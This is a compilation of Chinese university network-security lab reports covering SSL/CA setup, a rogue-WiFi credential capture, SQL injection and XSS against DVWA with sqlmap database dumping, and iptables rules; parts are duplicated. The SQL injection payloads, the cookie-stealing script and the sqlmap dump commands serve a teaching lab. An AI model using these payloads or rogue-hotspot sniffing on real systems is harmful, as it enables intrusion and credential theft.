5、彈出【請求文件摘要】窗口,確認后單擊【下一步】按鈕,接著單擊【完成】按鈕,完成服務器端證書配臵,如下圖所示

6、打開IE 瀏覽器(windows2003 中的),進入證書申請主界面,如下圖所示。

7、在出現的網頁中選擇【高級證書申請】,如圖所示,在出現的網頁中單擊第二個選項【base64編碼】。打開剛才IIS 證書向導生成的請求文件,(默認路徑C:certreq.txt),復制并粘貼文件內容到第一個文本框,如下圖所示,單擊【提交】按鈕,轉到完成提交后的頁面。

8、回到首頁,選擇【查看掛起的證書申請狀態】,彈出的頁面中選擇一個已經提交的證書申請,如下圖所示。選擇【Base 64 編碼】,點擊【下載證書】,【保存】certnew.cer 文件到桌面。

9、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口右鍵單擊【默認網站】,彈出的快捷菜單中選擇【屬性】選項,在彈出窗口內選擇【目錄安全性】標簽,選擇【服務器證書】,選擇【下一步】,【處理掛起的請求并安裝證書】選擇【下一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示。【下一步】【下一步】【完成】。

10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口中選中【要求安全通道(SSL)】復選項,并在【客戶端證書】欄中選中【接受客戶端證書】復選項,再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應用】按鈕及【確定】按鈕,完成配臵。

11、在XP 系統打開瀏覽器,輸入服務器IP 地址,進入證書申請主頁面,此時會顯示錯誤信息頁面,要求采用https 的方式連接服務器,如圖所示。

12、把http 改成https 繼續訪問,此時瀏覽器提示你要安裝證書,安裝完證書后,就可以正常使用了。、再次打開Wireshark,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包結果2。

14、分析比較抓包結果1 和抓包結果2 中,對IP/?id=1 請求處理的差異。

五、實驗感想

至此,我完成了整個數字證書的安裝和使用實驗。通過本次實驗我學會了SSL協議的工作原理,同時了解到了CA證書的頒發機制。

任何一個安全性系統整體性設計,都離不開數字證書的加密,可以想象加密機制對信息安全的重要性。

需要說明的是,盡管SSL能提供實際不可破譯的加密功能,但是SSL安全機制的實現會大大增加系統的開銷,增加了服務器CPU的額外負擔,使得SSL加密傳輸的速度大大低于非加密傳輸的速度。因此,為了防止整個Web網站的性能下降,可以考慮只把SSL安全機制用來處理高度機密的信息,例如提交包含信用卡信息的表格。

實驗二 WIFI釣魚

一.實驗目的

1、通過實際測試,模擬入侵者利用wifi抓包來竊取用戶數據的過程。掌握整個過程中的原理,數據分析等。

2、掌握抓包軟件的使用。二.實驗原理

在一個可控的網絡環境里,劫持數據有很多方法。比較有名的網絡層抓包工具有wireshark,tcpdump,都是很好的網絡協議分析工具。我們現在手機上的大多數APP應用層都是使用的HTTP協議,因此我們很多的在web安全測試里面用到的分析工具如fiddler,burp,httpanalyzer,Charles等也都是可以用來分析或者劫持APP的通信流。

用戶手機里的app默認會進行很多敏感的請求,手機會自動去登陸和獲取最新的信號;如果手機默認會鏈接周圍已經被保存sid的wifi;通過內臵最常見的sid和信息,入侵者可以使得周圍的人會自動鏈接上入侵者假設好的wifi,通過抓取相應的數據取得里面的敏感信息,理論上是可以劫持用戶的相關密碼信息的。三.實驗環境

帶有無線網卡的筆記本電腦,Wireshark 抓包軟件,智能手機。四.實驗過程 步驟一共享WIFI 工具:電腦、WIN7 系統、無線網卡 步驟

1.開始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運行

2.運行以下命令啟用虛擬網卡>netsh wlan set hostednetwork mode=allow ssid=(這里寫無線網名字)key=(這里是密碼)

3.網絡共享中心-->更改高級適配器設臵-->右鍵已連接到Internet 的網絡連接-->屬性-->切換

到“共享”選項卡,選中其中的復選框,并選擇允許其共享Internet 的網絡連接,這里即我們的虛擬WIFI 網卡

4.開啟無線網絡,繼續在命令提示符中運行以下命令:>netsh wlan start hostednetwork即可開啟我們之前設臵好的無線網絡(相當于打開路由器的無線功能)

步驟二WIFI 釣魚工具:其他筆記本或手機、Wareshark 步驟

1.搜索到剛剛設臵的WIFI:dave,連接上(密碼為剛剛設臵的key:12345678)2.在筆記本上打開wareshark,選擇capture-->interfaces

3.選擇Packets 最多的項,點擊start 按鈕

4.在手機或筆記本上打開中南大學郵箱網站:http://mail.csu.edu.cn/,在主機上用wareshark 捕捉http 的包(這里大家可以自由實驗,能監控到連接到該WIFI 的機器的所有包的情況)

5.在手機或筆記本上輸入用戶名和密碼,點擊登錄

6.在主機上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream

7.可以看到剛剛提交的用戶名和密碼,且是未經過加密的

五、實驗感想

通過這次實驗,我實際地模擬了一次入侵者通過假設釣魚WIFI網絡,來竊取連接此網絡的用戶的密碼信息過程。整個過程中我成功地完成了對各種用戶數據抓包,并分析出用戶密碼。

這讓我對wifi網絡產生了新的看法,我意識到了鏈接wifi網絡過程當中存在很多安全隱患,如果被圖謀不軌的人利用到,一旦泄露商業機密等重要信息,勢必會產生重大的經濟損失。

隨著人們的生活越來越離不開網絡,也越來越離不開移動手機,一般的公共廠商都已經將wifi作為基礎服務進行提供,譬如在星巴克、麥當勞等公共場所邊點杯熱飲邊“蹭網”,已經是一個基本的習慣了,甚至一些大型的電信提供商已經嘗試將wifi作為一個基礎的接入。如今公共的wifi很多,尤其是免費的,手機上還有幫助尋找免費wifi的各類app。很多人為了省流量,看到免費的wifi,總會去連接一下嘗試網上沖浪。不過,在這些免費的wifi以及大家使用wifi的習慣,加上手機及app的默認行為,就可以導致一些嚴重安全問題。

實驗三 SQL注入攻擊

一.實驗目的

是了解sql注入攻擊的原理,掌握網站的工作機制,認識到SQL注入攻擊的防范措施,加強對Web攻擊的防范。

二.實驗原理

SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。

根據相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數據庫配臵或數據庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。

三.實驗環境

虛擬機WindowsXP系統、Windows2003系統。dvwa(Dam Vulnerable Web Application)工具,sqlmap SQL注入工具、四.實驗過程

【實驗一:dvwa手動sql注入】

1、連接好虛擬機拓撲圖,配臵WindowsXP Client和Windows XP Server的IP使其在同一個局域網網段。

2、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password

3、選擇SQLInjection,點擊右下角的ViewSource,查看PHP源代碼。

4、正常測試,輸入“1”,得到正常結果,如下所示。

5、當將輸入變為“'”時,頁面提示錯“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結果如圖。看到這個結果,可以知道,這個表單存在著注入漏洞。

6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時成功進行sql注入。

7、測試查詢信息列數。利用語句order by num。這里輸入“ 1'order by 1--” 結果頁面正常顯示,注意--后面有空格。繼續測試,“ 1'order by 2--”,“ 1'order by 3--”,當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此查詢結果值為2列。

8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,利用內臵函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:“1' and 1=2 union select user(),database()--”。

9、選擇DVWA Security,將安全級別分別設臵為中、高。再運行上面的實驗sql語句,結合右下角的ViewSource,分析三種等級的代碼和sql注入效果有何區別。在安全級別分別設臵為低時,結合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫出sql注入語句。

【實驗二:sqlmap測試dvwa】

1、打開Server端的xampp,啟動apache和mysql。打開Client的瀏覽器,訪問Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級別分別設臵為低。

2、選擇XSS reflected,輸入“alert(document.cookie)”,獲取登陸系統后的cookie值,截圖保存cookie值。

3、使用sqlmap查找注入點,打開Client端的控制臺窗口,轉到目錄“C:Python27sqlmap”,輸入以下命令,注意!“192.168.1.32”表示Server的IP,“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”表示上一步所獲得的cookie值,請同學們按照實際環境填寫相應的值!“sqlmap.py-u http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6””。

依據以下信息,得到可能的注入點是id,數據庫是mysql。

[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')

[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable

4、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db”得到當前數據庫名。

current database: 'dvwa'

5、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”--current-db--tables-Ddvwa”得到數據庫所有表。

6、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--columns”得到user表的所有列。

7、輸入“sqlmap.py-u “http://192.168.1.32/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=tvitu9mog097jl4ctfsqhbs9o6”-T users--dump”得到user表的所有列,在sqlmap詢問時候破解密碼時,選擇是,sqlmap會使用自己的字典來破解密碼,得到5個用戶的密碼。此時就完成了利用sqlmap進行“拖庫”的基本步驟。五.實驗感想

通過實驗,我明白了帶有參數的動態網頁,很多都是沒有進行過濾的。如果能夠被SQL注入工具,就存在安全隱患,有可能就因為這個漏洞,入侵者就可以得到登錄權限并控制整個服務器。

從實驗可以看出,只要是帶有參數的動態網頁,且此網頁訪問了數據庫,就有可能存在SQL注入攻擊,因此SQL注入攻擊潛在的發生概率相對于其他Web攻擊要高很多,危害面也更廣。其主要危害包括:獲取系統控制權、未經授權狀況下操作數據庫的數據、惡意篡改網頁內容、私自添加系統帳號或數據庫使用者帳號等。

目前基于數據庫的網絡應用越來越多。與此同時,用于搜索SQL注入點的軟件在網絡上隨處可見,攻擊者只需要具備少量的專業知識就可以利用這些軟件尋找目標進行攻擊。攻擊目標和攻擊者的增加使得SQL注入攻擊在近幾年出現擴大的趨勢

為了防止SQL注入帶來的危害,在網站開發的過程中,需要對需要輸入參數的模塊進行過濾,并加入相關權限認證模塊。

實驗四 配置和管理主機防火墻

一.實驗目的

1.學習配臵和管理主機防火墻,介紹如何配臵linux 防火墻。2.掌握linux 下基本的iptables 知識,學會配臵iptables

二.實驗原理

對于Internet 上的系統,不管是什么情況,首先我們要明確一點:網絡是不安全的。因此,雖然創建一個防火墻并不能保證系統100%安全,但卻是絕對必要的。和社會上其它任何事物一樣,Internet 經常會受到一些無聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網絡之外,同時使你仍然可以完成自己的工作。因為不同的應用環境對安全的要求不一樣。用一句比較恰當而且簡單的話來回答這個問題:用戶了解自己的Linux 系統和設臵,并且可以很好地保護好自己的數據和機密文件的安全,這對于該計算機用戶來說就可以稱之為他的計算機有足夠的安全性。防火墻是一個或一組系統,它在網絡之間執行訪問控制策略。實現防火墻的實際方式各不相同,但是在原則上,防火墻可以被認為是這樣一對機制:一種機制是攔阻傳輸流通行,另一種機制是允許傳輸流通過。一些防火墻偏重攔阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過。了解有關防火墻的最重要的概念可能就是它實現了一種訪問控制策略。

一般來說,防火墻在配臵上是防止來自“外部”世界未經授權的交互式登錄的。這大大有助于防止破壞者登錄到你網絡中的計算機上。一些設計更為精巧的防火墻可以防止來自外部的傳輸流進入內部,但又允許內部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護你免受網絡上任何類型的攻擊。防火墻的另一個非常重要的特性是可以提供一個單獨的“攔阻點”,在“攔阻點”上設臵安全和審計檢查。與計算機系統正受到某些人利用調制解調器撥入攻擊的情況不同,防火墻可以發揮一種有效的“電話監聽”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計功能;它們經常可以向管理員提供一些情況概要,提供有關通過防火墻的傳輸流的類型和數量,以及有多少次試圖闖入防火墻的企圖等信息。

三.實驗環境

虛擬機:linux,windowsXP;linux 主機用戶名:root;密碼:root 四.實驗過程 1.查看規則表

# iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規則,同時顯示各條規則的順序號

2.刪除、清空規則

# iptables-F //不指定表名時,默認情況filter表

3.設臵規則鏈默認策略

# iptables-t filter-P FORWARD DROP //將filter表中FORWARD規則的默認策略設為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規則的默認策略設為ACCEPT 4.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴展)協議匹配(允許使用的協議名包含在/etc/protocols文件中)# iptables-AINPUT-p icmp–j REJECT //拒絕進入防火墻的所有icmp數據包

地址匹配

拒絕轉發來自192.168.1.11主機的數據,允許轉發來自192.168.0./24網段的數據

# iptables-A FORWARD-s 192.168.1.11-j REJECT

5.隱含(implicit)條件匹配(需要指定的協議匹配為前提,其對應的功能由iptables自動(隱含)的裝載入內核),如果無匹配條件,默認為REJECT。端口匹配

僅允許系統管理員從202.13.0.0/16網段使用SSH方式遠程登錄防火墻主機 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT # iptables-A INPUT-p tcp--dport 22-j DROP

6.禁止Windows主機ping防火墻linux主機,但是允許從防火墻上ping其他主機(允許接受ICMP回應數據)配臵linux防火墻主機ip地址,如下圖所示:

7.配臵windows 主機ip 地址,如下圖所示:

8.配臵linux 主機防火墻規則,如下圖所示:

9.在此在windows 主機和linux 主機上進行相互ping 測試,測試結果如下圖所示:

五.實驗感想

通過本次實驗,掌握了防火墻保護PC機避免被攻擊的方法;在實驗中,要先設臵規則,這樣PC1和PC2之間就可以相互通信,方便做模擬實驗;防火墻在抗攻擊過程中起到了很好的作用,保護主機免受外來攻擊。

鍛煉了解決問題的能力。比如兩個主機之間不能連通,問題可能有:雙絞線本身有問題導致不能連通,電腦網卡未打開導致不連通等等。連通與否可以通過用Ping命令檢查網絡連接狀況,其中在登錄和設臵防火墻的時候也遇到很多問題,但是總的來說是完成了相關的實驗,并利用基本的網絡知識,鍛煉了實踐動手能力。通過具體的操作,基本掌握了防火墻抗攻擊的配臵方式與方法,更加深入的了解防火墻的重要作用。

了解了防火墻的基本操作及原理,為以后打下基礎,雖然各個廠商,各種產品的具體操作不一樣,但是基本原理是相通的,通曉原理便可舉一反三。同時培養了冷靜分析解決問題的能力。

第三篇:中南大學 網絡安全實驗報告

CENTRAL SOUTH UNIVERSITY

網 絡 安 全 實 驗 報 告

學生姓名

專業班級

學 號

學 院 信息科學與工程學院 指導教師 劉嬪

實驗時間 2014年12月 實驗一 CA證書與SSL連接

應用場景

在訪問Web 站點時,如果沒有較強的安全措施,用戶訪問的數據是可以使用網絡工具 捕獲并分析出來的。在Web 站點的身份驗證中,有一種基本身份驗證,要求用戶訪問輸入 用戶名和密碼時,是以明文形式發送密碼的,蓄意破壞安全性的人可以使用協議分析程序破 譯出用戶名和密碼。那我們該如果避免呢?可利用SSL 通信協議,在Web 服務器上啟用安 全通道以實現高安全性。

SSL 協議位于TCP/IP 協議與各種應用層協議之間,為數據通訊提供安全支持。SSL 協 議可分為兩層: SSL 記錄協議(SSL Record Protocol):它建立在可靠的傳輸協議(如TCP)之上,為高層協議提供數據封裝、壓縮、加密等基本功能的支持。SSL 握手協議(SSL Handshake Protocol):它建立在SSL 記錄協議之上,用于在實際的數據傳輸開始前,通訊雙 方進行身份認證、協商加密算法、交換加密密鑰等。每一個Windows Server 2003 證書頒發 機構都有可供用戶和管理員使用的網頁。

實驗目標

??掌握在Windows Server 2003 下獨立根CA 的安裝和使用。??使用WEB 方式申請證書和安裝證書。??建立SSL 網站。

??分析SSL 網站的數據包特點。

實驗拓撲

VM Client

VM Server

實驗環境

虛擬機:Windows Server 2003,Windows XP,Wireshark 抓包軟件。

實驗過程指導

任務一:windows server 2003 環境下獨立根CA 的安裝及使用

1、啟動Windows Server 2003 和Windows XP,配置其IP,使其在同一局域網網段。

2、在Windows Server 2003 中,選擇【開始】|【控制面板】|【添加和刪除程序】,在彈出窗

口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書服務】,再單擊【下 一步】按鈕,如下圖所示。

3、在彈出的窗口中選擇【獨立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按 要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。

4、繼續選擇【證書數據庫】、【數據庫日志】和配置信息的安裝、存放路徑,如下圖所示。

單擊【下一步】按鈕。安裝的時候,可能會彈出如下窗口,為了實驗方便,已經把I386 文 件夾復制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點【確定】,完成安裝。

5、選擇【開始】|【程序】|【管理工具】,可以找到【證書頒發機構】,說明CA 的安裝已經

完成,如下圖所示。

6、從同一局域網中的另外一臺XP 開啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/, 選中【申請一個證書】,如下圖所示,在彈出的頁面中選擇【web 瀏覽器證書】。

7、在彈出窗口中填寫用戶的身份信息,完成后進行【提交】。此種情況下,IE 瀏覽器采用 默認的加密算法生成公鑰對,私鑰保存在本地計算機中,公鑰和用戶身份信息按照標準的格式發給CA 服務器,如圖所示,單擊【是】,進入下一步。CA 服務器響應后,彈出證書申請 成功頁面,如下圖所示。

8、在根CA 所在的計算機上,選擇【開始】|【程序】|【管理工具】|【證書頒發機構】,上

面申請的證書便會出現在窗口右邊,選擇證書單擊右鍵,選擇【所有任務】|【頒發】,進行 證書頒發,如下圖所示。證書頒發后將從【掛起的申請】文件夾轉入【頒發的證書】文件夾 中,表示證書頒發完成。

9、在申請證書的計算機上打開IE,輸入http://windows2003 的IP/certsrv/,進入證書申請頁

面,選擇【查看掛起的證書申請狀態】,彈出的頁面中選擇一個已經提交的證書申請,如下 圖所示。選擇安裝此證書。

10、現在驗證此CA 系統頒發的新證書是否可信,為此需要安裝CA 系統的根證書,進入證書申請主頁面,選擇當前的CA 證書進行下載,并保存到合適路徑,如下圖所示。

11、下載完畢之后,在證書的保存目錄中查看證書信息,單擊【安裝證書】按鈕,進入證書 導入向導,按照默認的配置完成證書的導入,導入成功后,單擊【確定】按鈕,之后完成。

任務二:基于Web 的SSL 連接設置

1、在XP 中,左下角【開始】,打開【Wireshark】,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結果1。

2、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口

右鍵單擊【默認網站】,彈出的快捷菜單中選擇【屬性】選項,如下圖所示。

3、在彈出窗口內選擇【目錄安全性】標簽,單擊【安全通信】中的【服務器證書】按鈕,如下圖所示。

4、彈出【IIS 證書向導】窗口,選中【新建證書】復選項,一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫相應的信息后,單擊【下一步】按鈕。

5、彈出【請求文件摘要】窗口,確認后單擊【下一步】按鈕,接著單擊【完成】按鈕,完 成服務器端證書配置,如下圖所示。

6、打開IE 瀏覽器(windows2003 中的),進入證書申請主界面,如下圖所示。

7、在出現的網頁中選擇【高級證書申請】,如圖所示,在出現的網頁中單擊第二個選項【base64 編碼】。打開剛才IIS 證書向導生成的請求文件,(默認路徑C:certreq.txt),復制并粘貼文件

內容到第一個文本框,如下圖所示,單擊【提交】按鈕,轉到完成提交后的頁面。

8、回到首頁,選擇【查看掛起的證書申請狀態】,彈出的頁面中選擇一個已經提交的證書申 請,如下圖所示。選擇【Base 64 編碼】,點擊【下載證書】,【保存】certnew.cer 文件到桌面。

9、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口

右鍵單擊【默認網站】,彈出的快捷菜單中選擇【屬性】選項,在彈出窗口內選擇【目錄安 全性】標簽,選擇【服務器證書】,選擇【下一步】,【處理掛起的請求并安裝證書】選擇【下 一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示。【下一步】【下一步】【完成】。

10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口 中選中【要求安全通道(SSL)】復選項,并在【客戶端證書】欄中選中【接受客戶端證書】 復選項,再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應用】按鈕及【確定】按

鈕,完成配置。

11、在XP 系統打開瀏覽器,輸入服務器IP 地址,進入證書申請主頁面,此時會顯示錯誤 信息頁面,要求采用https 的方式連接服務器,如圖所示。

12、把http 改成https 繼續訪問,此時瀏覽器提示你要安裝證書,安裝完證書后,就可以正 常使用了。、再次打開Wireshark,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網址

https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓

包結果2。

14、分析比較抓包結果1 和抓包結果2 中,對IP/?id=1 請求處理的差異。

實驗截圖

1、寫出windows server 2003 下獨立根CA 的配置及應用的過程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應步驟下。

2、寫出windows server 2003 下基于Web的SSL連接設置的過程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應步驟下。

實驗心得

通過此次實驗,我學會了Wireshark抓包的基本使用方法,學到了很多課本上沒有的新知識,并對課本上的概念有了實際的更深的認識。通過Wireshark所抓到的未使用SSL 連接和使用SSL 連接的信息的對比,我對HTTPS有了一定的了解,對計算機網絡通信中的數據傳輸安全有了大概的認識。

HTTPS(全稱:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全為目標的HTTP通道,簡單講是HTTP的安全版。即HTTP下加入SSL層,HTTPS的安全基礎是SSL,因此加密的詳細內容就需要SSL。它是一個URI scheme(抽象標識符體系),句法類同http:體系。用于安全的HTTP數據傳輸。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默 14 認端口及一個加密/身份驗證層(在HTTP與TCP之間)。這個系統的最初研發由網景公司(Netscape)進行,并內置于其瀏覽器Netscape Navigator中,提供了身份驗證與加密通訊方法。現在它被廣泛用于萬維網上安全敏感的通訊,例如交易支付方面。它的主要作用可以分為兩種:一種是建立一個信息安全通道,來保證數據傳輸的安全;另一種就是確認網站的真實性,凡是使用了 https 的網站,都可以通過點擊瀏覽器地址欄的鎖頭標志來查看網站認證之后的真實信息,也可以通過 CA 機構頒發的安全簽章來查詢。

Wireshark所抓到的未使用SSL 連接的http 信息,信息是明文傳輸,而使用SSL連接的https 則具有安全性的ssl加密傳輸協議,更加安全。

實驗二 配置和管理主機防火墻

應用場景

對于Internet 上的系統,不管是什么情況,首先我們要明確一點:網絡是不安全的。因此,雖然創建一個防火墻并不能保證系統100%安全,但卻是絕對必要的。和社會上其它任何事物一樣,Internet 經常會受到一些無聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網絡之外,同時使你仍然可以完成自己的工作。

那么構筑怎樣的Linux 防火墻系統才算是足夠安全呢?這是一個很難回答的問題,因為不同的應用環境對安全的要求不一樣。用一句比較恰當而且簡單的話來回答這個問題:用戶了解自己的Linux 系統和設置,并且可以很好地保護好自己的數據和機密文件的安全,這對于該計算機用戶來說就可以稱之為他的計算機有足夠的安全性。

那么到底什么是防火墻呢?防火墻是一個或一組系統,它在網絡之間執行訪問控制策略。實現防火墻的實際方式各不相同,但是在原則上,防火墻可以被認為是這樣一對機制:一種機制是攔阻傳輸流通行,另一種機制是允許傳輸流通過。一些防火墻偏重攔阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過。了解有關防火墻的最重要的概念可能就是它實現了一種訪問控制策略。

一般來說,防火墻在配置上是防止來自“外部”世界未經授權的交互式登錄的。這大大有助于防止破壞者登錄到你網絡中的計算機上。一些設計更為精巧的防火墻可以防止來自外部的傳輸流進入內部,但又允許內部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護你免受網絡上任何類型的攻擊。防火墻的另一個非常重要的特性是可以提供一個單獨的“攔阻點”,在“攔阻點”上設置安全和審計檢查。與計算機系統正受到某些人利用調制解調器撥入攻擊的情況不同,防火墻可以發揮一種有效的“電話監聽”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計功能;它們經常可以向管理員提供一些情況概要,提供有關通過防火墻的傳輸流的類型和數量,以及有多少次試圖闖入防火墻的企圖等信息。

因此本實驗將介紹如何配置linux 防火墻。

VM Client

VM Server

實驗目標

1.掌握linux 下基本的iptables 知識 2.學會配置iptables VM Windows VM Linux

實驗環境

虛擬機:linux,windowsXP;linux 主機用戶名:root;密碼:root 16 實驗過程指導

一.Iptables 的規則表、鏈結構

1.規則表(iptables管理4個不同的規則表,其功能由獨立的內核模塊實現)filter 表:包含三個鏈INPUT OUTPUT FORWARD nat表:PREROUTING POSTROTING OUTPUT mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表:OUTPUT PREROUTING 2.規則鏈

INPUT 鏈當收到訪問防火墻本機的數據包(入站)時,應用此鏈中的規則 OUTPUT鏈當防火墻本機向外發送數據包(出站)時,應用此鏈中的規則 FORWARD鏈收到需要通過防火墻發送給其他地址的數據包,應用此鏈 PREROUTING鏈做路由選擇之前,應用此鏈

POSTROUTING鏈對數據包做路由選擇之后,應用此鏈中的規則

二.數據包的匹配流程

1.規則表之間的優先級 raw mangle nat filter 2.規則鏈之間的優先級

入站數據流向:來自外界的數據包到達防火墻,首先PREROUTING規則鏈處理(是否被修改地址),之后會進行路由選擇(判斷該數據包應該發往何處),如果數據包的目標地址是防火墻本機,那么內核將其傳遞給INPUT 鏈進行處理,通過以后再交給上次的應用程序進行響應。

轉發數據流向:來自外界的數據包到達防火墻后,首先被PREROUTING 規則鏈處理,之后進行路由選擇,如果數據包的目標地址是其他外部地址,則內核將其傳遞給FPRWARD 鏈進行處理,然后再交給POSTROUTIING 規則鏈(是否修改數據包的地址等)進行處理。

出站數據流向:防火墻本身向外部地址發送數據包,首先被OUTPUT 規則鏈處理,之后進行路由選擇,然后交給POSTROUTING 規則鏈(是否修改數據包的地址等)進行處理。3.規則鏈內部各防火墻規則之間的優先順序

依次按第1條規則、第2條規則、第3條規則??的順序進行處理,找到一條能夠匹配的數據包規則,則不再繼續檢查后面的規則(使用LOG記錄日志的規則例外)。如果找不到匹配規則,就按照規則鏈的默認策略進行處理。

三.管理和設置iptables規則

Iptables 的基本語法格式選項名-A-D-I-R

功能及特點

在指定鏈的末尾添加(--append)一條新規則

刪除(--delete)指定鏈中的某一條規則,按規則序號或內容確定要刪除的規則 在指定鏈中插入一條新規則,若未指定插入位置,則默認在鏈的開頭插入 修改、替換指定鏈中的一條規則,按按 17-L-F-X-P-n-v-V-h--line-numbers-N

1.查看規則表

# iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規則,同時顯示各條規則的順序號

規則序號或內容確定要替換的規則 列出指定鏈中所有的規則進行查看,若未指定鏈名,則列出表中所有鏈的內容 清空指定鏈中的所有規則,若未指定鏈名,則清空表中所有鏈的內容 刪除表中用戶自定義的規則鏈 設置指定鏈的默認策略(大p)

使用數字形式顯示輸出結果,如顯示主機的IP地址而不是主機名

查看規則列表時顯示詳細的信息 查看iptables命令工具的版本信息 查看命令幫助信息

查看規則列表時,同時顯示規則在鏈中的順序號

新建一條用戶自定義的規則鏈

2.刪除、清空規則

# iptables-F //不指定表名時,默認情況filter表

3.設置規則鏈的默認策略

# iptables-t filter-P FORWARD DROP //將filter表中FORWARD規則的默認策略設為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規則的默認策略設為ACCEPT 18

四.條件匹配

1.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴展)協議匹配(允許使用的協議名包含在/etc/protocols文件中)

# iptables-AINPUT-p icmp–j REJECT //拒絕進入防火墻的所有icmp數據包

地址匹配

拒絕轉發來自192.168.1.11主機的數據,允許轉發來自192.168.0./24網段的數據 # iptables-A FORWARD-s 192.168.1.11-j REJECT

2.隱含(implicit)條件匹配(需要指定的協議匹配為前提,其對應的功能由iptables自動(隱含)的裝載入內核),如果無匹配條件,默認為REJECT。

端口匹配

僅允許系統管理員從202.13.0.0/16網段使用SSH方式遠程登錄防火墻主機 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT

五.在進行了上述規則講解與熟悉之后,接下來的步驟進行防火墻規則配置與測試

禁止Windows主機ping防火墻linux主機,但是允許從防火墻上ping其他主機(允許接受ICMP回應數據)

1.配置linux防火墻主機ip地址,如下圖所示:

2.配置windows 主機ip地址,如下圖所示:

3.配置linux 主機防火墻規則,如下圖所示:

4.在此在windows 主機和linux 主機上進行相互ping 測試,測試結果如下圖所示:

windows主機無法ping通linux防火墻主機,但是linux主機可以ping通windows主機。

實驗截圖

如上所示,重要的步驟截圖已置于相應步驟下。

實驗心得

1)如何在linux 主機上配置防火墻規則以防止DDOS 高級?

答:默認的iptables規則是無法過濾DDOS攻擊數據的,我們需要添加過濾規則實現iptables擁有抗DDOS的能力:

屏蔽 SYN_RECV 的連接

